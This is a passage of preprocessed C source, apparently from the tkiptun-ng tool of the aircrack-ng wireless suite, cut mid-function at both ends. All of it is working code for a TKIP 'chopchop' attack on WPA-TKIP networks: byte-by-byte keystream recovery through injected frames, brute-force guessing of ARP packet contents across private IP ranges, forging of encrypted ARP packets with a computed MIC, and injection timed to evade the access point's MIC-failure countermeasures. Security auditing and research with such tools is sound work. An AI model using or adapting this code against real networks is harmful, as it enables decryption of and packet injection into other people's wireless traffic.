            perror( "fwrite failed\n" );
            return( 1 );
        }

        pkh.tv_sec = tv.tv_sec;
        pkh.tv_usec = tv.tv_usec;
        pkh.caplen = *caplen;
        pkh.len = *caplen;

        n = sizeof( pkh );

        if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
        {
            perror( "fwrite failed" );
            return( 1 );
        }

        n = pkh.caplen;

        if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
        {
            perror( "fwrite failed" );
            return( 1 );
        }

        fclose( f_cap_out );
    }

    return( 0 );
}

int read_prga(unsigned char **dest, char *file)
{
    FILE *f;
    int size;

    if(file == ((void *)0)) return( 1 );
    if(*dest == ((void *)0)) *dest = (unsigned char*) malloc(1501);

    f = fopen(file, "r");

    if(f == ((void *)0))
    {
         printf("Error opening %s\n", file);
         return( 1 );
    }

    fseek(f, 0, 2);
    size = ftell(f);
    rewind(f);

    if(size > 1500) size = 1500;

    if( fread( (*dest), size, 1, f ) != 1 )
    {
        fprintf( stderr, "fread failed\n" );
        return( 1 );
    }

    opt.prgalen = size;

    fclose(f);
    return( 0 );
}

void add_icv(unsigned char *input, int len, int offset)
{
    unsigned long crc = 0xFFFFFFFF;
    int n=0;

    for( n = offset; n < len; n++ )
        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);

    crc = ~crc;

    input[len] = (crc ) & 0xFF;
    input[len+1] = (crc >> 8) & 0xFF;
    input[len+2] = (crc >> 16) & 0xFF;
    input[len+3] = (crc >> 24) & 0xFF;

    return;
}

void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska)
{
    int t, u;
    int data_size;
    unsigned char frag[32+fragsize];
    int pack_size;
    int header_size=24;

    data_size = packet_len-header_size;
    packet[23] = (rand() % 0xFF);

    for (t=0; t+=fragsize;)
    {


        memcpy(frag, packet, header_size);


        memcpy(frag+header_size, iv, 4);


        if(fragsize <= packet_len-(header_size+t-fragsize))
            memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize);
        else
            memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize));


        if(!ska)
        {
            frag[1] |= 1;
            frag[1] &= 253;
        }


        if (t< data_size) frag[1] |= 4;
        if (t>=data_size) frag[1] &= 251;


        frag[22] = 0;
        for (u=t; u-=fragsize;)
        {
            frag[22] += 1;
        }



        if(fragsize <= packet_len-(header_size+t-fragsize))
            pack_size = header_size + 4 + fragsize;
        else
            pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize));


        add_icv(frag, pack_size, header_size + 4);
        pack_size += 4;


        xor_keystream(frag + header_size + 4, keystream, fragsize+4);


        send_packet(frag, pack_size);
        if (t<data_size)usleep(100);

        if (t>=data_size) break;
    }

}

int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac)
{
    if(buf == ((void *)0))
        return -1;

    memcpy(buf, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x06"), 8);
    buf[8] = 0x00;
    buf[9] = 0x01;
    buf[10] = 0x08;
    buf[11] = 0x00;
    buf[12] = 0x06;
    buf[13] = 0x04;
    buf[14] = 0x00;
    if(memcmp(dmac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6) == 0)
        buf[15] = 0x01;
    else
        buf[15] = 0x02;
    memcpy(buf+16, smac, 6);

    return 0;
}

int build_arp_request(unsigned char* packet, int *length, int toDS)
{
    int i;
    unsigned char buf[128];

    packet[0] = 0x88;
    if(toDS) packet[1] = 0x41;
    else packet[1] = 0x42;
    packet[2] = 0x2c;
    packet[3] = 0x00;
    if(toDS)
    {
        memcpy(packet+4, opt.f_bssid, 6);
        memcpy(packet+10, opt.r_smac, 6);
        memcpy(packet+16, opt.r_apmac, 6);
    }
    else
    {
        memcpy(packet+4, opt.r_smac, 6);
        memcpy(packet+10, opt.f_bssid, 6);
        memcpy(packet+16, opt.r_apmac, 6);
    }

    packet[22] = 0xD0;
    packet[23] = 0xB4;
    if(toDS)
        packet[24] = 0x01;
    else
        packet[24] = 0x02;
    packet[25] = 0x00;

    if(toDS)
        set_clear_arp(packet+26, opt.r_smac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF");
    else
        set_clear_arp(packet+26, opt.r_apmac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF");

    if(toDS)
        memcpy(packet+26+22, opt.ip_cli, 4);
    else
        memcpy(packet+26+22, opt.ip_ap, 4);

    if(toDS)
        memcpy(packet+26+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6);
    else
        memcpy(packet+26+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6);

    if(toDS)
        memcpy(packet+26+32, opt.ip_ap, 4);
    else
        memcpy(packet+26+32, opt.ip_cli, 4);

    *length = 26+36;

    calc_tkip_mic(packet, *length, opt.ptk, packet+(*length));

    *length += 8;

    memcpy(buf, packet+26, (*length) - 26);
    memcpy(packet+26+8, buf, (*length) - 26);

    if(toDS)
        memcpy(packet+26, opt.chopped_to_prga, 8);
    else
        memcpy(packet+26, opt.chopped_from_prga, 8);

    (*length)+=8;

    add_icv(packet, *length, 26+8);

    (*length) += 4;

    if(toDS)
    {
        if(opt.chopped_to_prga_len-8 < *length - 26-8)
            return 1;

        for(i=0; i<*length-26-8; i++)
            packet[26+8+i] ^= opt.chopped_to_prga[8+i];
    }
    else
    {
        if(opt.chopped_from_prga_len-8 < *length - 26-8)
            return 1;

        for(i=0; i<*length-26-8; i++)
            packet[26+8+i] ^= opt.chopped_from_prga[8+i];
    }
    return 0;
}

int set_clear_ip(unsigned char *buf, int ip_len)
{
    if(buf == ((void *)0))
        return -1;

    memcpy(buf, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x00"), 8);
    buf[8] = 0x45;
    buf[10] = (ip_len >> 8) & 0xFF;
    buf[11] = ip_len & 0xFF;

    return 0;
}

void dump_packet(unsigned char* packet, int len)
{
    int i=0;

    for(i=0; i<len; i++)
    {
        if(i>0 && i%4 == 0)printf(" ");
        if(i>0 && i%16 == 0)printf("\n");
        printf("%02X ", packet[i]);
    }
    printf("\n\n");
}

int check_guess(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen, unsigned char *arp, unsigned char *dmac)
{
    int i, j, z, pos;

    z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( srcbuf[0] & 0x80 ) == 0x80 )
        z+=2;







    pos = caplen-z-8-clearlen;
    for(i=0; i<clearlen; i++)
    {
        arp[pos+i] = srcbuf[z+8+pos+i] ^ chopped[z+8+pos+i];
    }
    for(j=1; j<3; j++)
    {
        arp[15] = j;

        memcpy(arp+26, ZERO, 6);
        if (check_crc_buf( arp, caplen-z-8-4) == 1)
        {
            for(i=0; i<pos; i++)
            {
                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
            }
            return 1;
        }

        memcpy(arp+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6);
        if (check_crc_buf( arp, caplen-z-8-4) == 1)
        {
            for(i=0; i<pos; i++)
            {
                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
            }
            return 1;
        }

        memcpy(arp+26, dmac, 6);
        if (check_crc_buf( arp, caplen-z-8-4) == 1)
        {
            for(i=0; i<pos; i++)
            {
                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
            }
            return 1;
        }
    }
    return 0;
}

int guess_packet(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen)
{
    int i,j,k,l,z, len;
    unsigned char smac[6], dmac[6], bssid[6];

    unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
    unsigned char arp[4096];

    z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( srcbuf[0] & 0x80 ) == 0x80 )
        z+=2;

    if(caplen-z-8 - clearlen > 36)
        return 1;

    printf("%i bytes still unknown\n", caplen-z-8 - clearlen);

    switch( srcbuf[1] & 3 )
    {
        case 0:
            memcpy( bssid, srcbuf + 16, 6 );
            memcpy( dmac, srcbuf + 4, 6 );
            memcpy( smac, srcbuf + 10, 6 );
            break;
        case 1:
            memcpy( bssid, srcbuf + 4, 6 );
            memcpy( dmac, srcbuf + 16, 6 );
            memcpy( smac, srcbuf + 10, 6 );
            break;
        case 2:
            memcpy( bssid, srcbuf + 10, 6 );
            memcpy( dmac, srcbuf + 4, 6 );
            memcpy( smac, srcbuf + 16, 6 );
            break;
        default:
            memcpy( bssid, srcbuf + 10, 6 );
            memcpy( dmac, srcbuf + 16, 6 );
            memcpy( smac, srcbuf + 24, 6 );
            break;
    }

    ptr = arp;
    psmac = arp+16;
    pdmac = arp+26;
    psip = arp+22;
    pdip = arp+32;

    len = sizeof(("\xAA\xAA\x03\x00\x00\x00" "\x08\x06")) - 1;
    memcpy(ptr, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x06"), len);
    ptr += len;


    len = 6;
    memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
    ptr += len;


    len = 2;
    if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
            memcpy(ptr, "\x00\x01", len);
    else
            memcpy(ptr, "\x00\x02", len);
    ptr += len;


    len = 6;
    memcpy(ptr, smac, len);
    ptr += len;


    if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
    {
        printf("ARP Reply\n");
        memcpy(pdmac, dmac, 6);
    }
    else
    {
        printf("ARP Request\n");
        memcpy(pdmac, ZERO, 6);
    }

    if(caplen-z-8 - clearlen == 36)
    {
        printf("Checking 192.168.x.y\n");

        for(i=0; i<256; i++)
        {
            for(j=1; j<255; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 192;
                    psip[1] = 168;
                    psip[2] = i;
                    psip[3] = j;

                    pdip[0] = 192;
                    pdip[1] = 168;
                    pdip[2] = i;
                    pdip[3] = k;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        printf("Checking 10.0.y.z\n");

        for(j=0; j<256; j++)
        {
            for(k=1; k<255; k++)
            {
                for(l=1; l<255; l++)
                {
                    psip[0] = 10;
                    psip[1] = 0;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 10;
                    pdip[1] = 0;
                    pdip[2] = j;
                    pdip[3] = l;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        printf("Checking 172.16.y.z\n");

        for(j=1; j<255; j++)
        {
            for(k=1; k<255; k++)
            {
                for(l=1; l<255; l++)
                {
                    psip[0] = 172;
                    psip[1] = 16;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 172;
                    pdip[1] = 16;
                    pdip[2] = j;
                    pdip[3] = l;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }
    }

    if(caplen-z-8 - clearlen == 35)
    {
        printf("Checking 192.168.x.y\n");

        for(i=0; i<256; i++)
        {
            for(j=1; j<255; j++)
            {
                psip[0] = 192;
                psip[1] = 168;
                psip[2] = i;
                psip[3] = j;

                pdip[0] = 192;
                pdip[1] = 168;
                pdip[2] = i;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }

        printf("Checking 10.0.y.z\n");

        for(i=0; i<256; i++)
        {
            for(j=0; j<256; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 10;
                    psip[1] = i;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 10;
                    pdip[1] = i;
                    pdip[2] = j;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        printf("Checking 172.16-31.y.z\n");

        for(i=16; i<32; i++)
        {
            for(j=0; j<256; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 172;
                    psip[1] = i;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 172;
                    pdip[1] = i;
                    pdip[2] = j;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }
    }

    if(caplen-z-8 - clearlen == 34)
    {
        printf("Checking 192.168.x.y\n");

        for(i=0; i<256; i++)
        {
            for(j=1; j<255; j++)
            {
                psip[0] = 192;
                psip[1] = 168;
                psip[2] = i;
                psip[3] = j;

                pdip[0] = 192;
                pdip[1] = 168;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }

        printf("Checking 10.x.y.z\n");

        for(i=0; i<256; i++)
        {
            for(j=0; j<256; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 10;
                    psip[1] = i;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 10;
                    pdip[1] = i;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        printf("Checking 172.16-31.y.z\n");

        for(i=16; i<32; i++)
        {
            for(j=0; j<256; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 172;
                    psip[1] = i;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 172;
                    pdip[1] = i;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }
    }

    if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26)
    {
        printf("Checking 192.168.x.y\n");

        if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
        {
            for(i=0; i<256; i++)
            {
                for(j=1; j<255; j++)
                {
                    psip[0] = 192;
                    psip[1] = 168;
                    psip[2] = i;
                    psip[3] = j;

                    pdip[0] = 192;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
        {
            printf("Checking 172.16-31.y.z\n");

            for(i=16; i<32; i++)
            {
                for(j=0; j<256; j++)
                {
                    for(k=1; k<255; k++)
                    {
                        psip[0] = 172;
                        psip[1] = i;
                        psip[2] = j;
                        psip[3] = k;

                        pdip[0] = 172;

                        if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                            return 0;
                    }
                }
            }
        }

        printf("Checking 10.x.y.z\n");

        for(i=0; i<256; i++)
        {
            for(j=0; j<256; j++)
            {
                for(k=1; k<255; k++)
                {
                    psip[0] = 10;
                    psip[1] = i;
                    psip[2] = j;
                    psip[3] = k;

                    pdip[0] = 10;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }
    }

    if(caplen-z-8 - clearlen == 25)
    {
        printf("Checking 192.168.x.y\n");

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
        {
            for(i=0; i<256; i++)
            {
                psip[0] = 192;
                psip[1] = 168;
                psip[2] = i;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
        {
            printf("Checking 172.16-31.y.z\n");

            for(i=16; i<32; i++)
            {
                for(j=0; j<256; j++)
                {
                    psip[0] = 172;
                    psip[1] = i;
                    psip[2] = j;

                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                        return 0;
                }
            }
        }

        printf("Checking 10.x.y.z\n");

        for(i=0; i<256; i++)
        {
            for(j=0; j<256; j++)
            {
                psip[0] = 10;
                psip[1] = i;
                psip[2] = j;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }
    }

    if(caplen-z-8 - clearlen == 24)
    {
        printf("Checking 192.168.x.y\n");

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
        {
            psip[0] = 192;
            psip[1] = 168;

            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                return 0;
        }

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
        {
            printf("Checking 172.16-31.y.z\n");

            for(i=16; i<32; i++)
            {
                psip[0] = 172;
                psip[1] = i;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }

        printf("Checking 10.x.y.z\n");

        for(i=0; i<256; i++)
        {
            psip[0] = 10;
            psip[1] = i;

            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                return 0;
        }
    }

    if(caplen-z-8 - clearlen <= 23)
    {
        printf("Checking 192.168.x.y\n");

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
        {
            psip[0] = 192;

            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                return 0;
        }

        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
        {
            printf("Checking 172.16-31.y.z\n");

            psip[0] = 172;

            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                return 0;
        }

        printf("Checking 10.x.y.z\n");

        psip[0] = 10;

        if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
            return 0;
    }

    if(caplen-z-8 - clearlen <= 32)
    {
        for(i=0; i<256; i++)
        {
            for(j=1; j<255; j++)
            {
                psip[0] = srcbuf[z+8+32]^chopped[z+8+32];
                psip[1] = srcbuf[z+8+33]^chopped[z+8+33];
                psip[2] = i;
                psip[3] = j;

                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) )
                    return 0;
            }
        }
    }
    return 1;
}

int do_attack_tkipchop( unsigned char* src_packet, int src_packet_len )
{
    float f, ticks[4];
    int i, j, n, z, caplen, srcz, srclen;
    int data_start, data_end, srcdiff, diff;
    int guess, is_deauth_mode;
    int nb_bad_pkt;
    int tried_header_rec=0;
    int tries=0;
    int keystream_len=0;
    int settle=0;

    unsigned char b1 = 0xAA;
    unsigned char b2 = 0xAA;

    unsigned char mic[8];
    unsigned char smac[6], dmac[6], bssid[6];
    unsigned char rc4key[16], keystream[4096];

    FILE *f_cap_out;
    long nb_pkt_read;
    unsigned long crc_mask;
    unsigned char *chopped;

    unsigned char packet[4096];

    time_t tt;
    struct tm *lt;
    struct timeval tv;
    struct timeval tv2;
    struct timeval mic_fail;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    srand( time( ((void *)0) ) );

    memcpy( h80211, src_packet, src_packet_len);
    caplen = src_packet_len;
    if( (h80211[1] & 3) == 1)
    {
        h80211[1] += 1;

        memcpy( bssid, srcbuf + 4, 6 );
        memcpy( dmac, srcbuf + 16, 6 );
        memcpy( smac, srcbuf + 10, 6 );

        memcpy( srcbuf + 10, bssid, 6 );
        memcpy( srcbuf + 4, dmac, 6 );
        memcpy( srcbuf + 16, smac, 6 );

    }


    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 )
        z+=2;
    srcz = z;

    if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) )
        return( 1 );
# 2250 "tkiptun-ng.c"
    if ( memcmp( h80211 + 4, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 ||
        memcmp( h80211 + 16, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 )
    {
        b1 = 0x42; b2 = 0x42;
    }

    printf( "\n" );





    memcpy( srcbuf, h80211, caplen );


    if(opt.got_ptk)
    {
        calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key );
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Per Packet Key: ");
        for(i=0; i<15; i++)
            printf("%02X:", rc4key[i]);
        printf("%02X\n", rc4key[15]);

        memset(keystream, 0, 4096);

        keystream_len = caplen - z - 8;
        encrypt_wep(keystream, keystream_len, rc4key, 16);

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Keystream length: %i, Keystream:\n", keystream_len);
        for(i=0; i<keystream_len-1; i++)
            printf("%02X:", keystream[i]);
        printf("%02X\n", keystream[keystream_len-1]);

        memcpy(packet, srcbuf, caplen);
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Decrypt: %i\n", decrypt_wep(packet+z+8, caplen-z-8, rc4key, 16));
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Keystream 2:\n");
        for(i=0; i<keystream_len-1; i++)
            printf("%02X:", packet[z+8+i]^srcbuf[z+8+i]);
        printf("%02X\n", packet[z+8+keystream_len-1]^srcbuf[z+8+keystream_len-1]);


        opt.oldkeystreamlen = keystream_len-37;
        for(i=0; i<opt.oldkeystreamlen; i++)
            opt.oldkeystream[i] = keystream[keystream_len-1 - i];

    }



    n = caplen;

    switch( srcbuf[1] & 3 )
    {
        case 0:
            memcpy( bssid, srcbuf + 16, 6 );
            memcpy( dmac, srcbuf + 4, 6 );
            memcpy( smac, srcbuf + 10, 6 );
            break;
        case 1:
            memcpy( bssid, srcbuf + 4, 6 );
            memcpy( dmac, srcbuf + 16, 6 );
            memcpy( smac, srcbuf + 10, 6 );
            break;
        case 2:
            memcpy( bssid, srcbuf + 10, 6 );
            memcpy( dmac, srcbuf + 4, 6 );
            memcpy( smac, srcbuf + 16, 6 );
            break;
        default:
            memcpy( bssid, srcbuf + 10, 6 );
            memcpy( dmac, srcbuf + 16, 6 );
            memcpy( smac, srcbuf + 24, 6 );
            break;
    }

    if( ( chopped = (unsigned char *) malloc( n ) ) == ((void *)0) )
    {
        perror( "malloc failed" );
        return( 1 );
    }

    memset( chopped, 0, n );

    memcpy( chopped, h80211, n);

    data_start = 26 + 8;
    srclen = data_end = n;
    srcdiff = z-24;




    chopped[24] ^= 0x01;
    chopped[25] = 0x00;
# 2373 "tkiptun-ng.c"
    crc_mask = 0;

    for( i = data_start; i < data_end - 4; i++ )
    {
        switch( i - data_start )
        {
            case 0: chopped[i] = b1 ^ 0xE0; break;
            case 1: chopped[i] = b2 ^ 0xE0; break;
            case 2: chopped[i] = 0x03 ^ 0x03; break;
            default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
        }

        crc_mask = crc_tbl[crc_mask & 0xFF]
                 ^ ( crc_mask >> 8 )
                 ^ ( chopped[i] << 24 );
    }

    for( i = 0; i < 4; i++ )
        crc_mask = crc_tbl[crc_mask & 0xFF]
                 ^ ( crc_mask >> 8 );

    chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 1] = crc_mask; crc_mask >>= 8;

    for( i = data_start; i < data_end; i++ )
        chopped[i] ^= srcbuf[i];


    data_start += 6;

    is_deauth_mode = 0;
# 2414 "tkiptun-ng.c"
    for(i=0; i<opt.oldkeystreamlen; i++)
    {
        guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;

        n = caplen - data_start;

        chopped[data_end - 1] ^= guess;
        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];

        printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n", data_end - 1,
                100 * ( caplen - data_end ) / n,
                chopped[data_end - 1],
                chopped[data_end - 1] ^ srcbuf[data_end - 1]);

        data_end--;
    }



    memset( ticks, 0, sizeof( ticks ) );

    nb_pkt_read = 0;
    nb_pkt_sent = 0;
    nb_bad_pkt = 0;
    guess = 256;

    tt = time( ((void *)0) );





    if(opt.port_in <= 0)
    {
        if( fcntl( dev.fd_in, 4, 04000 ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    while( data_end > data_start )
    {
        if( alarmed )
        {
            printf( "\n\n"
"The chopchop attack appears to have failed. Possible reasons:\n"
"\n"
"    * You're trying to inject with an unsupported chipset (Centrino?).\n"
"    * The driver source wasn't properly patched for injection support.\n"
"    * You are too far from the AP. Get closer or reduce the send rate.\n"
"    * Target is 802.11g only but you are using a Prism2 or RTL8180.\n"
"    * The wireless interface isn't setup on the correct channel.\n" );
            if( is_deauth_mode )
                printf(
"    * The AP isn't vulnerable when operating in non-authenticated mode.\n"
"      Run aireplay-ng in authenticated mode instead (-h option).\n\n" );
            else
                printf(
"    * The client MAC you have specified is not currently authenticated.\n"
"      Try running another aireplay-ng to fake authentication (attack \"-1\").\n"
"    * The AP isn't vulnerable when operating in authenticated mode.\n"
"      Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" );
            return( 1 );
        }



        if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
        {
            printf( "\rLooks like mic failure report was not detected."
                    "Waiting %i seconds before trying again to avoid "
                    "the AP shutting down.\n", opt.mic_failure_interval);
            fflush( stdout );
            settle = 1;
            sleep(opt.mic_failure_interval);
        }

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "\nread(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
            ticks[3]++;
        }
        else
        {


            gettimeofday( &tv, ((void *)0) );
            usleep( 976 );
            gettimeofday( &tv2, ((void *)0) );

            f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / 976;
            ticks[1] += f / 976;
            ticks[2] += f / 976;
            ticks[3] += f / 976;
        }



        if( ticks[1] > (8192/10) )
        {
            ticks[1] = 0;
            printf( "\rSent %3ld packets, current guess: %02X...\33[K",
                    nb_pkt_sent, guess );
            fflush( stdout );
        }



        if( data_end < 47 && tries > 512)
        {
            header_rec:

            printf( "\n\nThe AP appears to drop packets shorter "
                    "than %d bytes.\n",data_end );

            data_end = 46;

            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 )
                z+=2;

            diff = z-24;

            if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 &&
                ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 &&
                ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 )
            {
                printf( "Enabling standard workaround: "
                        "ARP header re-creation.\n" );

                chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
                chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
                chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
                chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
                chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
                chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
            }
            else
            {
                printf( "Enabling standard workaround: "
                        " IP header re-creation.\n" );

                n = caplen - ( z + 16 );

                chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA;
                chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA;
                chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
                chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
                chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
                chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
                chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
                chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00;
                chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 );
                chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF );

                memcpy( h80211, srcbuf, caplen );

                for( i = 26 + 8; i < (int) caplen; i++ )
                    h80211[i - 8] = h80211[i] ^ chopped[i];



                for( i = 0; i < 16; i++ )
                {
                    h80211[26 + 8] = 0x40 + i;
                    chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i );

                    for( j = 0; j < 256; j++ )
                    {
                        h80211[26 + 9] = j;
                        chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;

                        if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) )
                            goto have_crc_match;
                    }
                }

                printf( "This doesn't look like an IP packet, "
                        "try another one.\n" );
            }

        have_crc_match:
            break;
        }

        if( ( ticks[2] * opt.r_nbpps ) / 8192 >= 1 )
        {


            ticks[2] = 0;

            memcpy( h80211, chopped, data_end - 1 );





            if( is_deauth_mode )
            {
                opt.r_smac[1] |= ( guess < 256 );
